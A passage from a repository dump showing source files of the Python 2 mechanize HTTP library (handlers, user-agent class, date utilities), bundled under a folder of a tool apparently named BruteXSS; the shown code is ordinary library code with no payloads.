self.do_open(httplib.HTTPConnection, req)\n\n    http_request = AbstractHTTPHandler.do_request_\n\nif hasattr(httplib, 'HTTPS'):\n\n    class HTTPSConnectionFactory:\n        def __init__(self, key_file, cert_file):\n            self._key_file = key_file\n            self._cert_file = cert_file\n        def __call__(self, hostport):\n            return httplib.HTTPSConnection(\n                hostport,\n                key_file=self._key_file, cert_file=self._cert_file)\n\n    class HTTPSHandler(AbstractHTTPHandler):\n\n        def __init__(self, client_cert_manager=None):\n            AbstractHTTPHandler.__init__(self)\n            self.client_cert_manager = client_cert_manager\n\n        def https_open(self, req):\n            if self.client_cert_manager is not None:\n                key_file, cert_file = self.client_cert_manager.find_key_cert(\n                    req.get_full_url())\n                conn_factory = HTTPSConnectionFactory(key_file, cert_file)\n            else:\n                conn_factory = httplib.HTTPSConnection\n            return self.do_open(conn_factory, req)\n\n        https_request = AbstractHTTPHandler.do_request_\n\nclass HTTPCookieProcessor(BaseHandler):\n    \"\"\"Handle HTTP cookies.\n\n    Public attributes:\n\n    cookiejar: CookieJar instance\n\n    \"\"\"\n    def __init__(self, cookiejar=None):\n        if cookiejar is None:\n            cookiejar = CookieJar()\n        self.cookiejar = cookiejar\n\n    def http_request(self, request):\n        self.cookiejar.add_cookie_header(request)\n        return request\n\n    def http_response(self, request, response):\n        self.cookiejar.extract_cookies(response, request)\n        return response\n\n    https_request = http_request\n    https_response = http_response\n\nclass UnknownHandler(BaseHandler):\n    def unknown_open(self, req):\n        type = req.get_type()\n        raise URLError('unknown url type: %s' % type)\n\ndef parse_keqv_list(l):\n    \"\"\"Parse list of key=value strings where keys are not duplicated.\"\"\"\n    parsed = {}\n    for elt in l:\n        k, v = elt.split('=', 1)\n        if v[0] == '\"' and v[-1] == '\"':\n            v = v[1:-1]\n        parsed[k] = v\n    return parsed\n\ndef parse_http_list(s):\n    \"\"\"Parse lists as described by RFC 2068 Section 2.\n\n    In particular, parse comma-separated lists where the elements of\n    the list may include quoted-strings.  A quoted-string could\n    contain a comma.  A non-quoted string could have quotes in the\n    middle.  Neither commas nor quotes count if they are escaped.\n    Only double-quotes count, not single-quotes.\n    \"\"\"\n    res = []\n    part = ''\n\n    escape = quote = False\n    for cur in s:\n        if escape:\n            part += cur\n            escape = False\n            continue\n        if quote:\n            if cur == '\\\\':\n                escape = True\n                continue\n            elif cur == '\"':\n                quote = False\n            part += cur\n            continue\n\n        if cur == ',':\n            res.append(part)\n            part = ''\n            continue\n\n        if cur == '\"':\n            quote = True\n\n        part += cur\n\n    # append last part\n    if part:\n        res.append(part)\n\n    return [part.strip() for part in res]\n\nclass FileHandler(BaseHandler):\n    # Use local file or FTP depending on form of URL\n    def file_open(self, req):\n        url = req.get_selector()\n        if url[:2] == '//' and url[2:3] != '/':\n            req.type = 'ftp'\n            return self.parent.open(req)\n        else:\n            return self.open_local_file(req)\n\n    # names for the localhost\n    names = None\n    def get_names(self):\n        if FileHandler.names is None:\n            try:\n                FileHandler.names = (socket.gethostbyname('localhost'),\n                                    socket.gethostbyname(socket.gethostname()))\n            except socket.gaierror:\n                FileHandler.names = (socket.gethostbyname('localhost'),)\n        return FileHandler.names\n\n    # not entirely sure what the rules are here\n    def open_local_file(self, req):\n        try:\n            import email.utils as emailutils\n        except ImportError:\n            # python 2.4\n            import email.Utils as emailutils\n        import mimetypes\n        host = req.get_host()\n        file = req.get_selector()\n        localfile = url2pathname(file)\n        try:\n            stats = os.stat(localfile)\n            size = stats.st_size\n            modified = emailutils.formatdate(stats.st_mtime, usegmt=True)\n            mtype = mimetypes.guess_type(file)[0]\n            headers = mimetools.Message(StringIO(\n                'Content-type: %s\\nContent-length: %d\\nLast-modified: %s\\n' %\n                (mtype or 'text/plain', size, modified)))\n            if host:\n                host, port = splitport(host)\n            if not host or \\\n                (not port and socket.gethostbyname(host) in self.get_names()):\n                return addinfourl(open(localfile, 'rb'),\n                                  headers, 'file:'+file)\n        except OSError, msg:\n            # urllib2 users shouldn't expect OSErrors coming from urlopen()\n            raise URLError(msg)\n        raise URLError('file not on local host')\n\nclass FTPHandler(BaseHandler):\n    def ftp_open(self, req):\n        import ftplib\n        import mimetypes\n        host = req.get_host()\n        if not host:\n            raise URLError('ftp error: no host given')\n        host, port = splitport(host)\n        if port is None:\n            port = ftplib.FTP_PORT\n        else:\n            port = int(port)\n\n        # username/password handling\n        user, host = splituser(host)\n        if user:\n            user, passwd = splitpasswd(user)\n        else:\n            passwd = None\n        host = unquote(host)\n        user = unquote(user or '')\n        passwd = unquote(passwd or '')\n\n        try:\n            host = socket.gethostbyname(host)\n        except socket.error, msg:\n            raise URLError(msg)\n        path, attrs = splitattr(req.get_selector())\n        dirs = path.split('/')\n        dirs = map(unquote, dirs)\n        dirs, file = dirs[:-1], dirs[-1]\n        if dirs and not dirs[0]:\n            dirs = dirs[1:]\n        try:\n            fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout)\n            type = file and 'I' or 'D'\n            for attr in attrs:\n                attr, value = splitvalue(attr)\n                if attr.lower() == 'type' and \\\n                   value in ('a', 'A', 'i', 'I', 'd', 'D'):\n                    type = value.upper()\n            fp, retrlen = fw.retrfile(file, type)\n            headers = \"\"\n            mtype = mimetypes.guess_type(req.get_full_url())[0]\n            if mtype:\n                headers += \"Content-type: %s\\n\" % mtype\n            if retrlen is not None and retrlen >= 0:\n                headers += \"Content-length: %d\\n\" % retrlen\n            sf = StringIO(headers)\n            headers = mimetools.Message(sf)\n            return addinfourl(fp, headers, req.get_full_url())\n        except ftplib.all_errors, msg:\n            raise URLError, ('ftp error: %s' % msg), sys.exc_info()[2]\n\n    def connect_ftp(self, user, passwd, host, port, dirs, timeout):\n        try:\n            fw = ftpwrapper(user, passwd, host, port, dirs, timeout)\n        except TypeError:\n            # Python < 2.6, no per-connection timeout support\n            fw = ftpwrapper(user, passwd, host, port, dirs)\n##        fw.ftp.set_debuglevel(1)\n        return fw\n\nclass CacheFTPHandler(FTPHandler):\n    # XXX would be nice to have pluggable cache strategies\n    # XXX this stuff is definitely not thread safe\n    def __init__(self):\n        self.cache = {}\n        self.timeout = {}\n        self.soonest = 0\n        self.delay = 60\n        self.max_conns = 16\n\n    def setTimeout(self, t):\n        self.delay = t\n\n    def setMaxConns(self, m):\n        self.max_conns = m\n\n    def connect_ftp(self, user, passwd, host, port, dirs, timeout):\n        key = user, host, port, '/'.join(dirs), timeout\n        if key in self.cache:\n            self.timeout[key] = time.time() + self.delay\n        else:\n            self.cache[key] = ftpwrapper(user, passwd, host, port, dirs, timeout)\n            self.timeout[key] = time.time() + self.delay\n        self.check_cache()\n        return self.cache[key]\n\n    def check_cache(self):\n        # first check for old ones\n        t = time.time()\n        if self.soonest <= t:\n            for k, v in self.timeout.items():\n                if v < t:\n                    self.cache[k].close()\n                    del self.cache[k]\n                    del self.timeout[k]\n        self.soonest = min(self.timeout.values())\n\n        # then check the size\n        if len(self.cache) == self.max_conns:\n            for k, v in self.timeout.items():\n                if v == self.soonest:\n                    del self.cache[k]\n                    del self.timeout[k]\n                    break\n            self.soonest = min(self.timeout.values())\n"
  },
  {
    "path": "BruteXSS/mechanize/_useragent.py",
    "content": "\"\"\"Convenient HTTP UserAgent class.\n\nThis is a subclass of urllib2.OpenerDirector.\n\n\nCopyright 2003-2006 John J. Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it under\nthe terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt\nincluded with the distribution).\n\n\"\"\"\n\nimport warnings\n\nimport _auth\nimport _gzip\nimport _opener\nimport _response\nimport _sockettimeout\nimport _urllib2\n\n\nclass UserAgentBase(_opener.OpenerDirector):\n    \"\"\"Convenient user-agent class.\n\n    Do not use .add_handler() to add a handler for something already dealt with\n    by this code.\n\n    The only reason at present for the distinction between UserAgent and\n    UserAgentBase is so that classes that depend on .seek()able responses\n    (e.g. mechanize.Browser) can inherit from UserAgentBase.  The subclass\n    UserAgent exposes a .set_seekable_responses() method that allows switching\n    off the adding of a .seek() method to responses.\n\n    Public attributes:\n\n    addheaders: list of (name, value) pairs specifying headers to send with\n     every request, unless they are overridden in the Request instance.\n\n     >>> ua = UserAgentBase()\n     >>> ua.addheaders = [\n     ...  (\"User-agent\", \"Mozilla/5.0 (compatible)\"),\n     ...  (\"From\", \"responsible.person@example.com\")]\n\n    \"\"\"\n\n    handler_classes = {\n        # scheme handlers\n        \"http\": _urllib2.HTTPHandler,\n        # CacheFTPHandler is buggy, at least in 2.3, so we don't use it\n        \"ftp\": _urllib2.FTPHandler,\n        \"file\": _urllib2.FileHandler,\n\n        # other handlers\n        \"_unknown\": _urllib2.UnknownHandler,\n        # HTTP{S,}Handler depend on HTTPErrorProcessor too\n        \"_http_error\": _urllib2.HTTPErrorProcessor,\n        \"_http_default_error\": _urllib2.HTTPDefaultErrorHandler,\n\n        # feature handlers\n        \"_basicauth\": _urllib2.HTTPBasicAuthHandler,\n        \"_digestauth\": _urllib2.HTTPDigestAuthHandler,\n        \"_redirect\": _urllib2.HTTPRedirectHandler,\n        \"_cookies\": _urllib2.HTTPCookieProcessor,\n        \"_refresh\": _urllib2.HTTPRefreshProcessor,\n        \"_equiv\": _urllib2.HTTPEquivProcessor,\n        \"_proxy\": _urllib2.ProxyHandler,\n        \"_proxy_basicauth\": _urllib2.ProxyBasicAuthHandler,\n        \"_proxy_digestauth\": _urllib2.ProxyDigestAuthHandler,\n        \"_robots\": _urllib2.HTTPRobotRulesProcessor,\n        \"_gzip\": _gzip.HTTPGzipProcessor,  # experimental!\n\n        # debug handlers\n        \"_debug_redirect\": _urllib2.HTTPRedirectDebugProcessor,\n        \"_debug_response_body\": _urllib2.HTTPResponseDebugProcessor,\n        }\n\n    default_schemes = [\"http\", \"ftp\", \"file\"]\n    default_others = [\"_unknown\", \"_http_error\", \"_http_default_error\"]\n    default_features = [\"_redirect\", \"_cookies\",\n                        \"_refresh\", \"_equiv\",\n                        \"_basicauth\", \"_digestauth\",\n                        \"_proxy\", \"_proxy_basicauth\", \"_proxy_digestauth\",\n                        \"_robots\",\n                        ]\n    if hasattr(_urllib2, 'HTTPSHandler'):\n        handler_classes[\"https\"] = _urllib2.HTTPSHandler\n        default_schemes.append(\"https\")\n\n    def __init__(self):\n        _opener.OpenerDirector.__init__(self)\n\n        ua_handlers = self._ua_handlers = {}\n        for scheme in (self.default_schemes+\n                       self.default_others+\n                       self.default_features):\n            klass = self.handler_classes[scheme]\n            ua_handlers[scheme] = klass()\n        for handler in ua_handlers.itervalues():\n            self.add_handler(handler)\n\n        # Yuck.\n        # Ensure correct default constructor args were passed to\n        # HTTPRefreshProcessor and HTTPEquivProcessor.\n        if \"_refresh\" in ua_handlers:\n            self.set_handle_refresh(True)\n        if \"_equiv\" in ua_handlers:\n            self.set_handle_equiv(True)\n        # Ensure default password managers are installed.\n        pm = ppm = None\n        if \"_basicauth\" in ua_handlers or \"_digestauth\" in ua_handlers:\n            pm = _urllib2.HTTPPasswordMgrWithDefaultRealm()\n        if (\"_proxy_basicauth\" in ua_handlers or\n            \"_proxy_digestauth\" in ua_handlers):\n            ppm = _auth.HTTPProxyPasswordMgr()\n        self.set_password_manager(pm)\n        self.set_proxy_password_manager(ppm)\n        # set default certificate manager\n        if \"https\" in ua_handlers:\n            cm = _urllib2.HTTPSClientCertMgr()\n            self.set_client_cert_manager(cm)\n\n    def close(self):\n        _opener.OpenerDirector.close(self)\n        self._ua_handlers = None\n\n    # XXX\n##     def set_timeout(self, timeout):\n##         self._timeout = timeout\n##     def set_http_connection_cache(self, conn_cache):\n##         self._http_conn_cache = conn_cache\n##     def set_ftp_connection_cache(self, conn_cache):\n##         # XXX ATM, FTP has cache as part of handler; should it be separate?\n##         self._ftp_conn_cache = conn_cache\n\n    def set_handled_schemes(self, schemes):\n        \"\"\"Set sequence of URL scheme (protocol) strings.\n\n        For example: ua.set_handled_schemes([\"http\", \"ftp\"])\n\n        If this fails (with ValueError) because you've passed an unknown\n        scheme, the set of handled schemes will not be changed.\n\n        \"\"\"\n        want = {}\n        for scheme in schemes:\n            if scheme.startswith(\"_\"):\n                raise ValueError(\"not a scheme '%s'\" % scheme)\n            if scheme not in self.handler_classes:\n                raise ValueError(\"unknown scheme '%s'\")\n            want[scheme] = None\n\n        # get rid of scheme handlers we don't want\n        for scheme, oldhandler in self._ua_handlers.items():\n            if scheme.startswith(\"_\"): continue  # not a scheme handler\n            if scheme not in want:\n                self._replace_handler(scheme, None)\n            else:\n                del want[scheme]  # already got it\n        # add the scheme handlers that are missing\n        for scheme in want.keys():\n            self._set_handler(scheme, True)\n\n    def set_cookiejar(self, cookiejar):\n        \"\"\"Set a mechanize.CookieJar, or None.\"\"\"\n        self._set_handler(\"_cookies\", obj=cookiejar)\n\n    # XXX could use Greg Stein's httpx for some of this instead?\n    # or httplib2??\n    def set_proxies(self, proxies=None, proxy_bypass=None):\n        \"\"\"Configure proxy settings.\n\n        proxies: dictionary mapping URL scheme to proxy specification.  None\n          means use the default system-specific settings.\n        proxy_bypass: function taking hostname, returning whether proxy should\n          be used.  None means use the default system-specific settings.\n\n        The default is to try to obtain proxy settings from the system (see the\n        documentation for urllib.urlopen for information about the\n        system-specific methods used -- note that's urllib, not urllib2).\n\n        To avoid all use of proxies, pass an empty proxies dict.\n\n        >>> ua = UserAgentBase()\n        >>> def proxy_bypass(hostname):\n        ...     return hostname == \"noproxy.com\"\n        >>> ua.set_proxies(\n        ...     {\"http\": \"joe:password@myproxy.example.com:3128\",\n        ...      \"ftp\": \"proxy.example.com\"},\n        ...     proxy_bypass)\n\n        \"\"\"\n        self._set_handler(\"_proxy\", True,\n                          constructor_kwds=dict(proxies=proxies,\n                                                proxy_bypass=proxy_bypass))\n\n    def add_password(self, url, user, password, realm=None):\n        self._password_manager.add_password(realm, url, user, password)\n    def add_proxy_password(self, user, password, hostport=None, realm=None):\n        self._proxy_password_manager.add_password(\n            realm, hostport, user, password)\n\n    def add_client_certificate(self, url, key_file, cert_file):\n        \"\"\"Add an SSL client certificate, for HTTPS client auth.\n\n        key_file and cert_file must be filenames of the key and certificate\n        files, in PEM format.  You can use e.g. OpenSSL to convert a p12 (PKCS\n        12) file to PEM format:\n\n        openssl pkcs12 -clcerts -nokeys -in cert.p12 -out cert.pem\n        openssl pkcs12 -nocerts -in cert.p12 -out key.pem\n\n\n        Note that client certificate password input is very inflexible ATM.  At\n        the moment this seems to be console only, which is presumably the\n        default behaviour of libopenssl.  In future mechanize may support\n        third-party libraries that (I assume) allow more options here.\n\n        \"\"\"\n        self._client_cert_manager.add_key_cert(url, key_file, cert_file)\n\n    # the following are rarely useful -- use add_password / add_proxy_password\n    # instead\n    def set_password_manager(self, password_manager):\n        \"\"\"Set a mechanize.HTTPPasswordMgrWithDefaultRealm, or None.\"\"\"\n        self._password_manager = password_manager\n        self._set_handler(\"_basicauth\", obj=password_manager)\n        self._set_handler(\"_digestauth\", obj=password_manager)\n    def set_proxy_password_manager(self, password_manager):\n        \"\"\"Set a mechanize.HTTPProxyPasswordMgr, or None.\"\"\"\n        self._proxy_password_manager = password_manager\n        self._set_handler(\"_proxy_basicauth\", obj=password_manager)\n        self._set_handler(\"_proxy_digestauth\", obj=password_manager)\n    def set_client_cert_manager(self, cert_manager):\n        \"\"\"Set a mechanize.HTTPClientCertMgr, or None.\"\"\"\n        self._client_cert_manager = cert_manager\n        handler = self._ua_handlers[\"https\"]\n        handler.client_cert_manager = cert_manager\n\n    # these methods all take a boolean parameter\n    def set_handle_robots(self, handle):\n        \"\"\"Set whether to observe rules from robots.txt.\"\"\"\n        self._set_handler(\"_robots\", handle)\n    def set_handle_redirect(self, handle):\n        \"\"\"Set whether to handle HTTP 30x redirections.\"\"\"\n        self._set_handler(\"_redirect\", handle)\n    def set_handle_refresh(self, handle, max_time=None, honor_time=True):\n        \"\"\"Set whether to handle HTTP Refresh headers.\"\"\"\n        self._set_handler(\"_refresh\", handle, constructor_kwds=\n                          {\"max_time\": max_time, \"honor_time\": honor_time})\n    def set_handle_equiv(self, handle, head_parser_class=None):\n        \"\"\"Set whether to treat HTML http-equiv headers like HTTP headers.\n\n        Response objects may be .seek()able if this is set (currently returned\n        responses are, raised HTTPError exception responses are not).\n\n        \"\"\"\n        if head_parser_class is not None:\n            constructor_kwds = {\"head_parser_class\": head_parser_class}\n        else:\n            constructor_kwds={}\n        self._set_handler(\"_equiv\", handle, constructor_kwds=constructor_kwds)\n    def set_handle_gzip(self, handle):\n        \"\"\"Handle gzip transfer encoding.\n\n        \"\"\"\n        if handle:\n            warnings.warn(\n                \"gzip transfer encoding is experimental!\", stacklevel=2)\n        self._set_handler(\"_gzip\", handle)\n    def set_debug_redirects(self, handle):\n        \"\"\"Log information about HTTP redirects (including refreshes).\n\n        Logging is performed using module logging.  The logger name is\n        \"mechanize.http_redirects\".  To actually print some debug output,\n        eg:\n\n        import sys, logging\n        logger = logging.getLogger(\"mechanize.http_redirects\")\n        logger.addHandler(logging.StreamHandler(sys.stdout))\n        logger.setLevel(logging.INFO)\n\n        Other logger names relevant to this module:\n\n        \"mechanize.http_responses\"\n        \"mechanize.cookies\"\n\n        To turn on everything:\n\n        import sys, logging\n        logger = logging.getLogger(\"mechanize\")\n        logger.addHandler(logging.StreamHandler(sys.stdout))\n        logger.setLevel(logging.INFO)\n\n        \"\"\"\n        self._set_handler(\"_debug_redirect\", handle)\n    def set_debug_responses(self, handle):\n        \"\"\"Log HTTP response bodies.\n\n        See docstring for .set_debug_redirects() for details of logging.\n\n        Response objects may be .seek()able if this is set (currently returned\n        responses are, raised HTTPError exception responses are not).\n\n        \"\"\"\n        self._set_handler(\"_debug_response_body\", handle)\n    def set_debug_http(self, handle):\n        \"\"\"Print HTTP headers to sys.stdout.\"\"\"\n        level = int(bool(handle))\n        for scheme in \"http\", \"https\":\n            h = self._ua_handlers.get(scheme)\n            if h is not None:\n                h.set_http_debuglevel(level)\n\n    def _set_handler(self, name, handle=None, obj=None,\n                     constructor_args=(), constructor_kwds={}):\n        if handle is None:\n            handle = obj is not None\n        if handle:\n            handler_class = self.handler_classes[name]\n            if obj is not None:\n                newhandler = handler_class(obj)\n            else:\n                newhandler = handler_class(\n                    *constructor_args, **constructor_kwds)\n        else:\n            newhandler = None\n        self._replace_handler(name, newhandler)\n\n    def _replace_handler(self, name, newhandler=None):\n        # first, if handler was previously added, remove it\n        if name is not None:\n            handler = self._ua_handlers.get(name)\n            if handler:\n                try:\n                    self.handlers.remove(handler)\n                except ValueError:\n                    pass\n        # then add the replacement, if any\n        if newhandler is not None:\n            self.add_handler(newhandler)\n            self._ua_handlers[name] = newhandler\n\n\nclass UserAgent(UserAgentBase):\n\n    def __init__(self):\n        UserAgentBase.__init__(self)\n        self._seekable = False\n\n    def set_seekable_responses(self, handle):\n        \"\"\"Make response objects .seek()able.\"\"\"\n        self._seekable = bool(handle)\n\n    def open(self, fullurl, data=None,\n             timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        if self._seekable:\n            def bound_open(fullurl, data=None,\n                           timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n                return UserAgentBase.open(self, fullurl, data, timeout)\n            response = _opener.wrapped_open(\n                bound_open, _response.seek_wrapped_response, fullurl, data,\n                timeout)\n        else:\n            response = UserAgentBase.open(self, fullurl, data)\n        return response\n"
  },
  {
    "path": "BruteXSS/mechanize/_util.py",
    "content": "\"\"\"Utility functions and date/time routines.\n\n Copyright 2002-2006 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\"\"\"\n\nimport re\nimport time\nimport warnings\n\n\nclass ExperimentalWarning(UserWarning):\n    pass\n\ndef experimental(message):\n    warnings.warn(message, ExperimentalWarning, stacklevel=3)\ndef hide_experimental_warnings():\n    warnings.filterwarnings(\"ignore\", category=ExperimentalWarning)\ndef reset_experimental_warnings():\n    warnings.filterwarnings(\"default\", category=ExperimentalWarning)\n\ndef deprecation(message):\n    warnings.warn(message, DeprecationWarning, stacklevel=3)\ndef hide_deprecations():\n    warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\ndef reset_deprecations():\n    warnings.filterwarnings(\"default\", category=DeprecationWarning)\n\n\ndef write_file(filename, data):\n    f = open(filename, \"wb\")\n    try:\n        f.write(data)\n    finally:\n        f.close()\n\n\ndef get1(sequence):\n    assert len(sequence) == 1\n    return sequence[0]\n\n\ndef isstringlike(x):\n    try: x+\"\"\n    except: return False\n    else: return True\n\n## def caller():\n##     try:\n##         raise SyntaxError\n##     except:\n##         import sys\n##     return sys.exc_traceback.tb_frame.f_back.f_back.f_code.co_name\n\n\nfrom calendar import timegm\n\n# Date/time conversion routines for formats used by the HTTP protocol.\n\nEPOCH = 1970\ndef my_timegm(tt):\n    year, month, mday, hour, min, sec = tt[:6]\n    if ((year >= EPOCH) and (1 <= month <= 12) and (1 <= mday <= 31) and\n        (0 <= hour <= 24) and (0 <= min <= 59) and (0 <= sec <= 61)):\n        return timegm(tt)\n    else:\n        return None\n\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\nmonths = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\",\n          \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\nmonths_lower = []\nfor month in months: months_lower.append(month.lower())\n\n\ndef time2isoz(t=None):\n    \"\"\"Return a string representing time in seconds since epoch, t.\n\n    If the function is called without an argument, it will use the current\n    time.\n\n    The format of the returned string is like \"YYYY-MM-DD hh:mm:ssZ\",\n    representing Universal Time (UTC, aka GMT).  An example of this format is:\n\n    1994-11-24 08:49:37Z\n\n    \"\"\"\n    if t is None: t = time.time()\n    year, mon, mday, hour, min, sec = time.gmtime(t)[:6]\n    return \"%04d-%02d-%02d %02d:%02d:%02dZ\" % (\n        year, mon, mday, hour, min, sec)\n\ndef time2netscape(t=None):\n    \"\"\"Return a string representing time in seconds since epoch, t.\n\n    If the function is called without an argument, it will use the current\n    time.\n\n    The format of the returned string is like this:\n\n    Wed, DD-Mon-YYYY HH:MM:SS GMT\n\n    \"\"\"\n    if t is None: t = time.time()\n    year, mon, mday, hour, min, sec, wday = time.gmtime(t)[:7]\n    return \"%s %02d-%s-%04d %02d:%02d:%02d GMT\" % (\n        days[wday], mday, months[mon-1], year, hour, min, sec)\n\n\nUTC_ZONES = {\"GMT\": None, \"UTC\": None, \"UT\": None, \"Z\": None}\n\ntimezone_re = re.compile(r\"^([-+])?(\\d\\d?):?(\\d\\d)?$\")\ndef offset_from_tz_string(tz):\n    offset = None\n    if UTC_ZONES.has_key(tz):\n        offset = 0\n    else:\n        m = timezone_re.search(tz)\n        if m:\n            offset = 3600 * int(m.group(2))\n            if m.group(3):\n                offset = offset + 60 * int(m.group(3))\n            if m.group(1) == '-':\n                offset = -offset\n    return offset\n\ndef _str2time(day, mon, yr, hr, min, sec, tz):\n    # translate month name to number\n    # month numbers start with 1 (January)\n    try:\n        mon = months_lower.index(mon.lower())+1\n    except ValueError:\n        # maybe it's already a number\n        try:\n            imon = int(mon)\n        except ValueError:\n            return None\n        if 1 <= imon <= 12:\n            mon = imon\n        else:\n            return None\n\n    # make sure clock elements are defined\n    if hr is None: hr = 0\n    if min is None: min = 0\n    if sec is None: sec = 0\n\n    yr = int(yr)\n    day = int(day)\n    hr = int(hr)\n    min = int(min)\n    sec = int(sec)\n\n    if yr < 1000:\n        # find \"obvious\" year\n        cur_yr = time.localtime(time.time())[0]\n        m = cur_yr % 100\n        tmp = yr\n        yr = yr + cur_yr - m\n        m = m - tmp\n        if abs(m) > 50:\n            if m > 0: yr = yr + 100\n            else: yr = yr - 100\n\n    # convert UTC time tuple to seconds since epoch (not timezone-adjusted)\n    t = my_timegm((yr, mon, day, hr, min, sec, tz))\n\n    if t is not None:\n        # adjust time using timezone string, to get absolute time since epoch\n        if tz is None:\n            tz = \"UTC\"\n        tz = tz.upper()\n        offset = offset_from_tz_string(tz)\n        if offset is None:\n            return None\n        t = t - offset\n\n    return t\n\n\nstrict_re = re.compile(r\"^[SMTWF][a-z][a-z], (\\d\\d) ([JFMASOND][a-z][a-z]) \"\n                       r\"(\\d\\d\\d\\d) (\\d\\d):(\\d\\d):(\\d\\d) GMT$\")\nwkday_re = re.compile(\n    r\"^(?:Sun|Mon|Tue|Wed|Thu|Fri|Sat)[a-z]*,?\\s*\", re.I)\nloose_http_re = re.compile(\n    r\"\"\"^\n    (\\d\\d?)            # day\n       (?:\\s+|[-\\/])\n    (\\w+)              # month\n        (?:\\s+|[-\\/])\n    (\\d+)              # year\n    (?:\n          (?:\\s+|:)    # separator before clock\n       (\\d\\d?):(\\d\\d)  # hour:min\n       (?::(\\d\\d))?    # optional seconds\n    )?                 # optional clock\n       \\s*\n    ([-+]?\\d{2,4}|(?![APap][Mm]\\b)[A-Za-z]+)? # timezone\n       \\s*\n    (?:\\(\\w+\\))?       # ASCII representation of timezone in parens.\n       \\s*$\"\"\", re.X)\ndef http2time(text):\n    \"\"\"Returns time in seconds since epoch of time represented by a string.\n\n    Return value is an integer.\n\n    None is returned if the format of str is unrecognized, the time is outside\n    the representable range, or the timezone string is not recognized.  If the\n    string contains no timezone, UTC is assumed.\n\n    The timezone in the string may be numerical (like \"-0800\" or \"+0100\") or a\n    string timezone (like \"UTC\", \"GMT\", \"BST\" or \"EST\").  Currently, only the\n    timezone strings equivalent to UTC (zero offset) are known to the function.\n\n    The function loosely parses the following formats:\n\n    Wed, 09 Feb 1994 22:23:32 GMT       -- HTTP format\n    Tuesday, 08-Feb-94 14:15:29 GMT     -- old rfc850 HTTP format\n    Tuesday, 08-Feb-1994 14:15:29 GMT   -- broken rfc850 HTTP format\n    09 Feb 1994 22:23:32 GMT            -- HTTP format (no weekday)\n    08-Feb-94 14:15:29 GMT              -- rfc850 format (no weekday)\n    08-Feb-1994 14:15:29 GMT            -- broken rfc850 format (no weekday)\n\n    The parser ignores leading and trailing whitespace.  The time may be\n    absent.\n\n    If the year is given with only 2 digits, the function will select the\n    century that makes the year closest to the current date.\n\n    \"\"\"\n    # fast exit for strictly conforming string\n    m = strict_re.search(text)\n    if m:\n        g = m.groups()\n        mon = months_lower.index(g[1].lower()) + 1\n        tt = (int(g[2]), mon, int(g[0]),\n              int(g[3]), int(g[4]), float(g[5]))\n        return my_timegm(tt)\n\n    # No, we need some messy parsing...\n\n    # clean up\n    text = text.lstrip()\n    text = wkday_re.sub(\"\", text, 1)  # Useless weekday\n\n    # tz is time zone specifier string\n    day, mon, yr, hr, min, sec, tz = [None]*7\n\n    # loose regexp parse\n    m = loose_http_re.search(text)\n    if m is not None:\n        day, mon, yr, hr, min, sec, tz = m.groups()\n    else:\n        return None  # bad format\n\n    return _str2time(day, mon, yr, hr, min, sec, tz)\n\n\niso_re = re.compile(\n    \"\"\"^\n    (\\d{4})              # year\n       [-\\/]?\n    (\\d\\d?)              # numerical month\n       [-\\/]?\n    (\\d\\d?)              # day\n   (?:\n         (?:\\s+|[-:Tt])  # separator before clock\n      (\\d\\d?):?(\\d\\d)    # hour:min\n      (?::?(\\d\\d(?:\\.\\d*)?))?  # optional seconds (and fractional)\n   )?                    # optional clock\n      \\s*\n   ([-+]?\\d\\d?:?(:?\\d\\d)?\n    |Z|z)?               # timezone  (Z is \"zero meridian\", i.e. GMT)\n      \\s*$\"\"\", re.X)\ndef iso2time(text):\n    \"\"\"\n    As for http2time, but parses the ISO 8601 formats:\n\n    1994-02-03 14:15:29 -0100    -- ISO 8601 format\n    1994-02-03 14:15:29          -- zone is optional\n    1994-02-03                   -- only date\n    1994-02-03T14:15:29          -- Use T as separator\n    19940203T141529Z             -- ISO 8601 compact format\n    19940203                     -- only date\n\n    \"\"\"\n    # clean up\n    text = text.lstrip()\n\n    # tz is time zone specifier string\n    day, mon, yr, hr, min, sec, tz = [None]*7\n\n    # loose regexp parse\n    m = iso_re.search(text)\n    if m is not None:\n        # XXX there's an extra bit of the timezone I'm ignoring here: is\n        #   this the right thing to do?\n        yr, mon, day, hr, min, sec, tz, _ = m.groups()\n    else:\n        return None  # bad format\n\n    return _str2time(day, mon, yr, hr, min, sec, tz)\n"
  },
  {
    "path": "BruteXSS/mechanize/_version.py",
    "content": "\"0.2.5\"\n__version__ = (0, 2, 5, None, None)\n"
  },
  {
    "path": "BruteXSS/wordlist-huge.txt",
